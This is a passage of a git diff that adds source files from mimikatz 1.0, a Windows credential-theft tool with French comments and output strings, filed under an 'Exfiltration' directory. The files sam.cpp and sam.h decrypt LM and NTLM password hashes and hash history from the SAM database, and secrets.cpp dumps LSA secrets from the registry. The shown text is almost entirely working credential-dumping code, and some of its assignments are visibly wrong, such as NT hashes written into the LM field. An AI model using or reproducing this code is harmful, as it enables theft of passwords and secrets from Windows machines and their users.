+ mesInfos.LmOwfPassword << L';' <<
+ mesInfos.NtOwfPassword << L';'
+ ;
+ }
+ else
+ {
+ maReponse << boolalpha <<
+ L"Compte" << endl <<
+ L"======" << endl <<
+ L"ID : " << mesInfos.UserId << endl <<
+ L"Nom : " << mesInfos.UserName << endl <<
+ L"Domaine : " << mesInfos.DomaineName << endl <<
+ L"Nom complet : " << mesInfos.FullName << endl <<
+ L"Actif : " << mesInfos.isActif << endl <<
+ L"Verouillé : " << mesInfos.isLocked << endl <<
+ L"Type : " << mesInfos.TypeCompte << endl <<
+ L"Commentaire utilisateur : " << mesInfos.UserComment << endl <<
+ L"Commentaire admin : " << mesInfos.AdminComment << endl <<
+ L"Expiration : " << mesInfos.AccountExpires << endl <<
+ L"Station(s) : " << mesInfos.WorkStations << endl <<
+ endl <<
+ L"Chemins" << endl <<
+ L"-------" << endl <<
+ L"Répertoire de base : " << mesInfos.HomeDirectory << endl <<
+ L"Lecteur de base : " << mesInfos.HomeDirectoryDrive << endl <<
+ L"Profil : " << mesInfos.ProfilePath << endl <<
+ L"Script de démarrage : " << mesInfos.ScriptPath << endl <<
+ endl <<
+ L"Connexions" << endl <<
+ L"----------" << endl <<
+ L"Nombre : " << mesInfos.LogonCount << endl <<
+ L"Echecs : " << mesInfos.BadPasswordCount << endl <<
+ L"Dernière connexion : " << mesInfos.LastLogon << endl <<
+ L"Dernière déconnexion : " << mesInfos.LastLogoff << endl <<
+ endl <<
+ L"Mot de passe" << endl <<
+ L"------------" << endl <<
+ L"Dernier changement : " << mesInfos.PasswordLastSet << endl <<
+ L"N\'expire pas : " << mesInfos.isPasswordNotExpire << endl <<
+ L"Peut être vide : " << mesInfos.isPasswordNotRequired << endl <<
+ L"Mot de passe expiré : " << mesInfos.isPasswordExpired << endl <<
+ L"Possibilité changement : " << mesInfos.PasswordCanChange << endl <<
+ L"Obligation changement : " << mesInfos.PasswordMustChange << endl <<
+ endl <<
+ L"Hashs" << endl <<
+ L"-----" << endl <<
+ L"Hash LM : " << mesInfos.LmOwfPassword << endl <<
+ L"Hash NTLM : " << mesInfos.NtOwfPassword << endl <<
+ endl
+ ;
+ }
+ break;
+ }
+
+ maReponse << endl;
+ return sendTo(monPipe, maReponse.str());
+}
+
+WUserAllInformation UserInformationsToStruct(USER_INFORMATION_CLASS type, PSAMPR_USER_INFO_BUFFER & monPtr)
+{
+ WUserAllInformation mesInfos;
+ PSAMPR_USER_INTERNAL1_INFORMATION ptrPassword = NULL;
+ PSAMPR_USER_ALL_INFORMATION ptrAllInformations = NULL;
+
+ switch(type)
+ {
+ case UserInternal1Information:
+ ptrPassword = reinterpret_cast<PSAMPR_USER_INTERNAL1_INFORMATION>(monPtr);
+
+ mesInfos.LmPasswordPresent = ptrPassword->LmPasswordPresent != 0;
+ mesInfos.NtPasswordPresent = ptrPassword->NtPasswordPresent != 0;
+
+ if(mesInfos.LmPasswordPresent)
+ mesInfos.LmOwfPassword = mod_text::stringOfHex(ptrPassword->EncryptedLmOwfPassword.data, sizeof(ptrPassword->EncryptedLmOwfPassword.data));
+ if(mesInfos.NtPasswordPresent)
+ mesInfos.LmOwfPassword = mod_text::stringOfHex(ptrPassword->EncryptedNtOwfPassword.data, sizeof(ptrPassword->EncryptedNtOwfPassword.data));
+ break;
+
+ case UserAllInformation:
+ ptrAllInformations = reinterpret_cast<PSAMPR_USER_ALL_INFORMATION>(monPtr);
+
+ mesInfos.UserId = ptrAllInformations->UserId;
+ mesInfos.UserName = mod_text::stringOfSTRING(ptrAllInformations->UserName);
+ mesInfos.FullName = mod_text::stringOfSTRING(ptrAllInformations->FullName); correctMe(mesInfos.FullName);
+
+ mesInfos.isActif = (ptrAllInformations->UserAccountControl & USER_ACCOUNT_DISABLED) == 0;
+ mesInfos.isLocked = (ptrAllInformations->UserAccountControl & USER_ACCOUNT_AUTO_LOCKED) != 0;
+
+ if(ptrAllInformations->UserAccountControl & USER_SERVER_TRUST_ACCOUNT)
+ mesInfos.TypeCompte.assign(L"Contrôleur de domaine");
+ else if(ptrAllInformations->UserAccountControl & USER_WORKSTATION_TRUST_ACCOUNT)
+ mesInfos.TypeCompte.assign(L"Ordinateur");
+ else if(ptrAllInformations->UserAccountControl & USER_NORMAL_ACCOUNT)
+ mesInfos.TypeCompte.assign(L"Utilisateur");
+ else
+ mesInfos.TypeCompte.assign(L"Inconnu");
+
+ mesInfos.UserComment = mod_text::stringOfSTRING(ptrAllInformations->UserComment); correctMe(mesInfos.AdminComment);
+ mesInfos.AdminComment = mod_text::stringOfSTRING(ptrAllInformations->AdminComment); correctMe(mesInfos.AdminComment);
+ mesInfos.AccountExpires = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->AccountExpires);
+ mesInfos.AccountExpires_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->AccountExpires, true);
+ mesInfos.WorkStations = mod_text::stringOfSTRING(ptrAllInformations->WorkStations);
+ mesInfos.HomeDirectory = mod_text::stringOfSTRING(ptrAllInformations->HomeDirectory); correctMe(mesInfos.HomeDirectory);
+ mesInfos.HomeDirectoryDrive = mod_text::stringOfSTRING(ptrAllInformations->HomeDirectoryDrive); correctMe(mesInfos.HomeDirectoryDrive);
+ mesInfos.ProfilePath = mod_text::stringOfSTRING(ptrAllInformations->ProfilePath); correctMe(mesInfos.ProfilePath);
+ mesInfos.ScriptPath = mod_text::stringOfSTRING(ptrAllInformations->ScriptPath); correctMe(mesInfos.ScriptPath);
+ mesInfos.LogonCount = ptrAllInformations->LogonCount;
+ mesInfos.BadPasswordCount = ptrAllInformations->BadPasswordCount;
+ mesInfos.LastLogon = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogon);
+ mesInfos.LastLogon_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogon, true);
+ mesInfos.LastLogoff = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogoff);
+ mesInfos.LastLogoff_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogoff, true);
+ mesInfos.PasswordLastSet = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordLastSet);
+ mesInfos.PasswordLastSet_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordLastSet, true);
+ mesInfos.isPasswordNotExpire = (ptrAllInformations->UserAccountControl & USER_DONT_EXPIRE_PASSWORD) != 0;
+ mesInfos.isPasswordNotRequired = (ptrAllInformations->UserAccountControl & USER_PASSWORD_NOT_REQUIRED) != 0;
+ mesInfos.isPasswordExpired = ptrAllInformations->PasswordExpired != 0;
+ mesInfos.PasswordCanChange = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordCanChange);
+ mesInfos.PasswordCanChange_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordCanChange, true);
+ mesInfos.PasswordMustChange = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordMustChange);
+ mesInfos.PasswordMustChange_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordMustChange, true);
+ mesInfos.LmPasswordPresent = ptrAllInformations->LmPasswordPresent != 0;
+ mesInfos.NtPasswordPresent = ptrAllInformations->NtPasswordPresent != 0;
+
+ if(mesInfos.LmPasswordPresent)
+ mesInfos.LmOwfPassword = mod_text::stringOfHex(reinterpret_cast<BYTE *>(ptrAllInformations->LmOwfPassword.Buffer), ptrAllInformations->LmOwfPassword.Length);
+ if(mesInfos.NtPasswordPresent)
+ mesInfos.LmOwfPassword = mod_text::stringOfHex(reinterpret_cast<BYTE *>(ptrAllInformations->NtOwfPassword.Buffer), ptrAllInformations->NtOwfPassword.Length);
+
+ break;
+ }
+ return mesInfos;
+}
+
+bool descrUserHistoryToPipe(mod_pipe * monPipe, DWORD rid, wstring monUserName, wstring domainName, HUSER handleUser, USER_INFORMATION_CLASS type, bool isCSV)
+{
+ WUserAllInformation mesInfos;
+ mesInfos.DomaineName = domainName;
+ mesInfos.UserId = rid;
+
+ DWORD Context = 2, Type = 0, tailleBlob;
+ PWHashHistory pMesDatas = NULL;
+ bool sendOk = true;
+
+ if(NT_SUCCESS(SamIGetPrivateData(handleUser, &Context, &Type, &tailleBlob, &pMesDatas)))
+ {
+ unsigned short nbEntrees = min(pMesDatas->histNTLMsize, pMesDatas->histLMsize) / 16;
+
+ for(unsigned short i = 1; i < nbEntrees && sendOk; i++)
+ {
+ BYTE monBuff[16] = {0};
+
+ wostringstream userNameQualif;
+ userNameQualif << monUserName << L"{p-" << i << L"}";
+ mesInfos.UserName = userNameQualif.str();
+
+ if(NT_SUCCESS(SystemFunction025(pMesDatas->hashs[nbEntrees + i], &rid, monBuff)))
+ {
+ mesInfos.LmPasswordPresent = 1;
+ mesInfos.LmOwfPassword = mod_text::stringOfHex(monBuff, 0x10);
+ }
+ else
+ {
+ mesInfos.LmPasswordPresent = 0;
+ mesInfos.LmOwfPassword = L"échec de décodage :(";
+ }
+
+ if(NT_SUCCESS(SystemFunction027(pMesDatas->hashs[i], &rid, monBuff)))
+ {
+ mesInfos.NtPasswordPresent = 1;
+ mesInfos.NtOwfPassword = mod_text::stringOfHex(monBuff, 0x10);
+ }
+ else
+ {
+ mesInfos.NtPasswordPresent = 0;
+ mesInfos.NtOwfPassword = L"échec de décodage :(";
+ }
+
+ sendOk = descrToPipeInformations(monPipe, type, mesInfos, isCSV);
+ }
+ LocalFree(pMesDatas);
+ }
+ return sendOk;
+}
+
+wstring toTimeFromOLD_LARGE_INTEGER(OLD_LARGE_INTEGER & monInt, bool isStrict)
+{
+ wostringstream reponse;
+
+ if(monInt.LowPart == ULONG_MAX && monInt.HighPart == LONG_MAX)
+ {
+ if(!isStrict)
+ reponse << L"N\'arrive jamais";
+ }
+ else if(monInt.LowPart == 0 && monInt.HighPart == 0)
+ {
+ if(!isStrict)
+ reponse << L"N\'est pas encore arrivé";
+ }
+ else
+ {
+ SYSTEMTIME monTimeStamp;
+ if(FileTimeToSystemTime(reinterpret_cast<PFILETIME>(&monInt), &monTimeStamp) != FALSE)
+ {
+ reponse << dec <<
+ setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wDay << L"/" <<
+ setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wMonth << L"/" <<
+ setw(4)<< setfill(wchar_t('0')) << monTimeStamp.wYear << L" " <<
+ setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wHour << L":" <<
+ setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wMinute << L":" <<
+ setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wSecond;
+ }
+ }
+ return reponse.str();
+}
+
+wstring protectMe(wstring &maChaine)
+{
+ wstring result;
+ if(!maChaine.empty())
+ {
+ result = L"\"";
+ result.append(maChaine);
+ result.append(L"\"");
+ }
+ return result;
+}
+
+void correctMe(wstring &maChaine)
+{
+ unsigned char source[] = {0x19, 0x20, 0x13, 0x20, 0xab, 0x00, 0xbb, 0x00, 0x26, 0x20};
+ unsigned char replac[] = {'\'', 0 , '-' , 0 , '\"', 0 , '\"', 0, '.', 0 };
+
+ for(unsigned int i = 0; i < maChaine.size() ; i++)
+ {
+ const BYTE * monPtr = reinterpret_cast<const BYTE *>(&maChaine.c_str()[i]);
+ for(int j = 0 ; j < min(sizeof(source), sizeof(replac)) ; j+=2)
+ {
+ if(*monPtr == source[j] && *(monPtr + 1) == source[j+1])
+ {
+ *const_cast<BYTE *>(monPtr) = replac[j];
+ *const_cast<BYTE *>(monPtr + 1) = replac[j + 1];
+ break;
+ }
+ }
+ }
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h
new file mode 100644
index 0000000..870aa4d
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h
@@ -0,0 +1,210 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "kmodel.h"
+#include "mod_text.h"
+#include <sstream>
+#include <iomanip>
+
+bool searchSAMFuncs();
+__kextdll bool __cdecl getSAMFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments);
+__kextdll bool __cdecl getLocalAccounts(mod_pipe * monPipe, vector<wstring> * mesArguments);
+
+#define SAM_SERVER_CONNECT 0x00000001
+#define DOMAIN_ALL_ACCESS 0x000F07FF
+#define USER_ALL_ACCESS 0x000F07FF
+
+#define USER_ACCOUNT_DISABLED 0x00000001
+#define USER_PASSWORD_NOT_REQUIRED 0x00000004
+#define USER_NORMAL_ACCOUNT 0x00000010
+#define USER_WORKSTATION_TRUST_ACCOUNT 0x00000080
+#define USER_SERVER_TRUST_ACCOUNT 0x00000100
+#define USER_DONT_EXPIRE_PASSWORD 0x00000200
+#define USER_ACCOUNT_AUTO_LOCKED 0x00000400
+#define USER_SMARTCARD_REQUIRED 0x00001000
+#define USER_TRUSTED_FOR_DELEGATION 0x00002000
+#define USER_PASSWORD_EXPIRED 0x00020000
+
+typedef struct _WUserAllInformation
+{
+ unsigned long UserId;
+ wstring UserName;
+ wstring DomaineName;
+ wstring FullName;
+ bool isActif;
+ bool isLocked;
+ wstring TypeCompte;
+ wstring UserComment;
+ wstring AdminComment;
+ wstring AccountExpires;
+ wstring AccountExpires_strict;
+ wstring WorkStations;
+
+ wstring HomeDirectory;
+ wstring HomeDirectoryDrive;
+ wstring ProfilePath;
+ wstring ScriptPath;
+
+ unsigned short LogonCount;
+ unsigned short BadPasswordCount;
+ wstring LastLogon;
+ wstring LastLogon_strict;
+ wstring LastLogoff;
+ wstring LastLogoff_strict;
+
+ wstring PasswordLastSet;
+ wstring PasswordLastSet_strict;
+ bool isPasswordNotExpire;
+ bool isPasswordNotRequired;
+ bool isPasswordExpired;
+ wstring PasswordCanChange;
+ wstring PasswordCanChange_strict;
+ wstring PasswordMustChange;
+ wstring PasswordMustChange_strict;
+
+ bool LmPasswordPresent;
+ wstring LmOwfPassword;
+ bool NtPasswordPresent;
+ wstring NtOwfPassword;
+} WUserAllInformation, *PUserAllInformation;
+
+typedef struct _WHashHistory
+{
+ DWORD unkVersion;
+ unsigned short currentLMsize;
+ unsigned short unkCurrentLMsize;
+ DWORD unkCurLM;
+ BYTE EncLMhash[16];
+
+ unsigned short currentNTLMsize;
+ unsigned short unkCurrentNTLMsize;
+ DWORD unkCurNTLM;
+ BYTE EncNTLMhash[16];
+
+ unsigned short histLMsize;
+ unsigned short unkhistLMsize;
+ DWORD unkHistLM;
+
+ unsigned short histNTLMsize;
+ unsigned short unkhistNTLMsize;
+ DWORD unkHistNTLM;
+ BYTE hashs[24][16];
+} WHashHistory, *PWHashHistory;
+
+DECLARE_HANDLE(HUSER);
+DECLARE_HANDLE(HSAM);
+DECLARE_HANDLE(HDOMAIN);
+
+typedef struct _SAMPR_RID_ENUMERATION
+{
+ unsigned long RelativeId;
+ LSA_UNICODE_STRING Name;
+} SAMPR_RID_ENUMERATION, *PSAMPR_RID_ENUMERATION;
+
+typedef struct _SAMPR_ENUMERATION_BUFFER
+{
+ unsigned long EntriesRead;
+ [size_is(EntriesRead)] PSAMPR_RID_ENUMERATION Buffer;
+} SAMPR_ENUMERATION_BUFFER, *PSAMPR_ENUMERATION_BUFFER;
+
+typedef enum _USER_INFORMATION_CLASS
+{
+ UserInternal1Information = 18,
+ UserAllInformation = 21,
+} USER_INFORMATION_CLASS, *PUSER_INFORMATION_CLASS;
+
+typedef struct _ENCRYPTED_LM_OWF_PASSWORD
+{
+ BYTE data[16];
+} ENCRYPTED_LM_OWF_PASSWORD, *PENCRYPTED_LM_OWF_PASSWORD, ENCRYPTED_NT_OWF_PASSWORD, *PENCRYPTED_NT_OWF_PASSWORD;
+
+typedef struct _SAMPR_USER_INTERNAL1_INFORMATION
+{
+ ENCRYPTED_NT_OWF_PASSWORD EncryptedNtOwfPassword;
+ ENCRYPTED_LM_OWF_PASSWORD EncryptedLmOwfPassword;
+ unsigned char NtPasswordPresent;
+ unsigned char LmPasswordPresent;
+ unsigned char PasswordExpired;
+} SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION;
+
+typedef struct _OLD_LARGE_INTEGER {
+ unsigned long LowPart;
+ long HighPart;
+} OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER;
+
+typedef struct _SAMPR_SR_SECURITY_DESCRIPTOR {
+ [range(0, 256 * 1024)] unsigned long Length;
+ [size_is(Length)] unsigned char* SecurityDescriptor;
+} SAMPR_SR_SECURITY_DESCRIPTOR, *PSAMPR_SR_SECURITY_DESCRIPTOR;
+
+typedef struct _SAMPR_LOGON_HOURS {
+ unsigned short UnitsPerWeek;
+ [size_is(1260), length_is((UnitsPerWeek+7)/8)]
+ unsigned char* LogonHours;
+} SAMPR_LOGON_HOURS, *PSAMPR_LOGON_HOURS;
+
+typedef struct _SAMPR_USER_ALL_INFORMATION
+{
+ OLD_LARGE_INTEGER LastLogon;
+ OLD_LARGE_INTEGER LastLogoff;
+ OLD_LARGE_INTEGER PasswordLastSet;
+ OLD_LARGE_INTEGER AccountExpires;
+ OLD_LARGE_INTEGER PasswordCanChange;
+ OLD_LARGE_INTEGER PasswordMustChange;
+ LSA_UNICODE_STRING UserName;
+ LSA_UNICODE_STRING FullName;
+ LSA_UNICODE_STRING HomeDirectory;
+ LSA_UNICODE_STRING HomeDirectoryDrive;
+ LSA_UNICODE_STRING ScriptPath;
+ LSA_UNICODE_STRING ProfilePath;
+ LSA_UNICODE_STRING AdminComment;
+ LSA_UNICODE_STRING WorkStations;
+ LSA_UNICODE_STRING UserComment;
+ LSA_UNICODE_STRING Parameters;
+ LSA_UNICODE_STRING LmOwfPassword;
+ LSA_UNICODE_STRING NtOwfPassword;
+ LSA_UNICODE_STRING PrivateData;
+ SAMPR_SR_SECURITY_DESCRIPTOR SecurityDescriptor;
+ unsigned long UserId;
+ unsigned long PrimaryGroupId;
+ unsigned long UserAccountControl;
+ unsigned long WhichFields;
+ SAMPR_LOGON_HOURS LogonHours;
+ unsigned short BadPasswordCount;
+ unsigned short LogonCount;
+ unsigned short CountryCode;
+ unsigned short CodePage;
+ unsigned char LmPasswordPresent;
+ unsigned char NtPasswordPresent;
+ unsigned char PasswordExpired;
+ unsigned char PrivateDataSensitive;
+} SAMPR_USER_ALL_INFORMATION, *PSAMPR_USER_ALL_INFORMATION;
+
+typedef [switch_is(USER_INFORMATION_CLASS)] union _SAMPR_USER_INFO_BUFFER /* http://msdn.microsoft.com/en-us/library/cc211885.aspx */
+{
+ [case(UserInternal1Information)]
+ SAMPR_USER_INTERNAL1_INFORMATION Internal1;
+ [case(UserAllInformation)]
+ SAMPR_USER_ALL_INFORMATION All;
+} SAMPR_USER_INFO_BUFFER, *PSAMPR_USER_INFO_BUFFER;
+
+WUserAllInformation UserInformationsToStruct(USER_INFORMATION_CLASS type, PSAMPR_USER_INFO_BUFFER & monPtr);
+bool descrToPipeInformations(mod_pipe * monPipe, USER_INFORMATION_CLASS type, WUserAllInformation & mesInfos, bool isCSV = false);
+bool descrUserHistoryToPipe(mod_pipe * monPipe, DWORD rid, wstring monUserName, wstring domainName, HUSER handleUser, USER_INFORMATION_CLASS type, bool isCSV = false);
+wstring toTimeFromOLD_LARGE_INTEGER(OLD_LARGE_INTEGER & monInt, bool isStrict = false);
+wstring protectMe(wstring &maChaine);
+void correctMe(wstring &maChaine);
+
+typedef NTSTATUS (WINAPI * PSAM_I_CONNECT) (DWORD, HSAM *, DWORD, DWORD);
+typedef NTSTATUS (WINAPI * PSAM_R_OPEN_DOMAIN) (HSAM, DWORD dwAccess, PSID, HDOMAIN*);
+typedef NTSTATUS (WINAPI * PSAM_R_OPEN_USER) (HDOMAIN, DWORD dwAccess, DWORD, HUSER*);
+typedef NTSTATUS (WINAPI * PSAM_R_ENUMERATE_USERS_IN_DOMAIN) (HDOMAIN, DWORD*, DWORD, PSAMPR_ENUMERATION_BUFFER *, DWORD, PVOID);
+typedef NTSTATUS (WINAPI * PSAM_R_QUERY_INFORMATION_USER) (HUSER, DWORD, PSAMPR_USER_INFO_BUFFER *);
+typedef HLOCAL (WINAPI * PSAM_I_FREE_SAMPR_USER_INFO_BUFFER) (PVOID, DWORD);
+typedef HLOCAL (WINAPI * PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER) (PSAMPR_ENUMERATION_BUFFER);
+typedef NTSTATUS (WINAPI * PSAM_R_CLOSE_HANDLE) (PHANDLE);
+typedef NTSTATUS (WINAPI * PSAM_I_GET_PRIVATE_DATA) (HUSER, DWORD *, DWORD *, DWORD *, PWHashHistory *);
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp
new file mode 100644
index 0000000..06d8664
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp
@@ -0,0 +1,99 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "secrets.h"
+
+PLSA_I_OPEN_POLICY_TRUSTED LsaIOpenPolicyTrusted = NULL;
+PLSA_R_OPEN_SECRET LsarOpenSecret = NULL;
+PLSA_R_QUERY_SECRET LsarQuerySecret = NULL;
+PLSA_R_CLOSE LsarClose = NULL;
+
+bool searchSECFuncs()
+{
+ if(!(LsaIOpenPolicyTrusted && LsarOpenSecret && LsarQuerySecret && LsarClose))
+ {
+ if(HMODULE hLsasrv = GetModuleHandle(L"lsasrv"))
+ {
+ LsaIOpenPolicyTrusted = reinterpret_cast<PLSA_I_OPEN_POLICY_TRUSTED>(GetProcAddress(hLsasrv, "LsaIOpenPolicyTrusted"));
+ LsarOpenSecret = reinterpret_cast<PLSA_R_OPEN_SECRET>(GetProcAddress(hLsasrv, "LsarOpenSecret"));
+ LsarQuerySecret = reinterpret_cast<PLSA_R_QUERY_SECRET>(GetProcAddress(hLsasrv, "LsarQuerySecret"));
+ LsarClose = reinterpret_cast<PLSA_R_CLOSE>(GetProcAddress(hLsasrv, "LsarClose"));
+ }
+ return (LsaIOpenPolicyTrusted && LsarOpenSecret && LsarQuerySecret && LsarClose);
+ }
+ else return true;
+}
+
+__kextdll bool __cdecl getSECFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments)
+{
+ wostringstream monStream;
+ monStream << L"** lsasrv.dll ** ; Statut recherche : " << (searchSECFuncs() ? L"OK :)" : L"KO :(") << endl << endl <<
+ L"@LsaIOpenPolicyTrusted = " << LsaIOpenPolicyTrusted << endl <<
+ L"@LsarOpenSecret = " << LsarOpenSecret << endl <<
+ L"@LsarQuerySecret = " << LsarQuerySecret << endl <<
+ L"@LsarClose = " << LsarClose << endl;
+ return sendTo(monPipe, monStream.str());
+}
+
+__kextdll bool __cdecl getSecrets(mod_pipe * monPipe, vector<wstring> * mesArguments)
+{
+ if(searchSECFuncs())
+ {
+ bool sendOk = true;
+ wstring message;
+ LSA_HANDLE hPolicy;
+
+ if(NT_SUCCESS(LsaIOpenPolicyTrusted(&hPolicy)))
+ {
+ HKEY hKeysSecrets;
+ if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SECURITY\\Policy\\Secrets", 0, KEY_READ, &hKeysSecrets) == ERROR_SUCCESS)
+ {
+ DWORD nbKey, maxKeySize;
+ if(RegQueryInfoKey(hKeysSecrets, NULL, NULL, NULL, &nbKey, &maxKeySize, NULL, NULL, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
+ {
+ for(DWORD i = 0; (i < nbKey) && sendOk; i++)
+ {
+ DWORD buffsize = (maxKeySize+1) * sizeof(wchar_t);
+ LSA_UNICODE_STRING monNomSecret = {0, 0, new wchar_t[buffsize]};
+
+ if(RegEnumKeyEx(hKeysSecrets, i, monNomSecret.Buffer, &buffsize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
+ {
+ monNomSecret.Length = monNomSecret.MaximumLength = static_cast<USHORT>(buffsize * sizeof(wchar_t));
+ message.assign(L"\nSecret : "); message.append(mod_text::stringOfSTRING(monNomSecret)); message.push_back(L'\n');
+
+ LSA_HANDLE hSecret;
+ if(NT_SUCCESS(LsarOpenSecret(hPolicy, &monNomSecret, SECRET_QUERY_VALUE, &hSecret)))
+ {
+ LSA_SECRET * monSecret = NULL;
+ if(NT_SUCCESS(LsarQuerySecret(hSecret, &monSecret, NULL, NULL, NULL)))
+ {
+ message.append(L"Credential : "); message.append(mod_text::stringOrHex(reinterpret_cast<PBYTE>(monSecret->Buffer), monSecret->Length)); message.push_back(L'\n');
+ LsaFreeMemory(monSecret);
+ }
+ else message.append(L"Erreur : Impossible de récupérer le secret\n");
+ LsarClose(&hSecret);
+ }
+ else message.append(L"Erreur : Impossible d\'ouvrir le secret\n");
+ }
+ delete[] monNomSecret.Buffer;
+ sendOk = sendTo(monPipe, message);
+ }
+ message.clear();
+ } else message.assign(L"Erreur : Impossible d\'obtenir des information sur le registre secret\n");
+ RegCloseKey(hKeysSecrets);
+ }
+ else message.assign(L"Erreur : Impossible d\'ouvrir la clé Secrets\n");
+ LsarClose(&hPolicy);
+ }
+ else message.assign(L"Erreur : Impossible d\'ouvrir la politique\n");
+
+ if(!message.empty())
+ sendOk = sendTo(monPipe, message);
+
+ return sendOk;
+ }
+ else return getSECFunctions(monPipe, mesArguments);
+}
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h
new file mode 100644
index 0000000..cb74837
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h
@@ -0,0 +1,29 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "kmodel.h"
+#include "mod_text.h"
+#include <wincred.h>
+
+bool searchSECFuncs();
+__kextdll bool __cdecl getSECFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments);
+__kextdll bool __cdecl getSecrets(mod_pipe * monPipe, vector<wstring> * mesArguments);
+
+#define SECRET_SET_VALUE 0x00000001
+#define SECRET_QUERY_VALUE 0x00000002
+
+typedef struct _LSA_SECRET
+{
+ DWORD Length;
+ DWORD MaximumLength;
+ wchar_t * Buffer;
+} LSA_SECRET, *PLSA_SECRET;
+
+typedef NTSTATUS (WINAPI * PLSA_I_OPEN_POLICY_TRUSTED) (LSA_HANDLE * pHPolicy);
+typedef NTSTATUS (WINAPI * PLSA_R_OPEN_SECRET) (LSA_HANDLE hPolicy, LSA_UNICODE_STRING *, DWORD dwAccess, LSA_HANDLE * hSecret);
+typedef NTSTATUS (WINAPI * PLSA_R_QUERY_SECRET) (LSA_HANDLE hSecret, PLSA_SECRET * ppSecret, PVOID pCurrentValueSetTime, PLSA_UNICODE_STRING * ppOldSecret, PVOID pOldValueSetTime);
+typedef NTSTATUS (WINAPI * PLSA_R_CLOSE) (LSA_HANDLE * pHandle);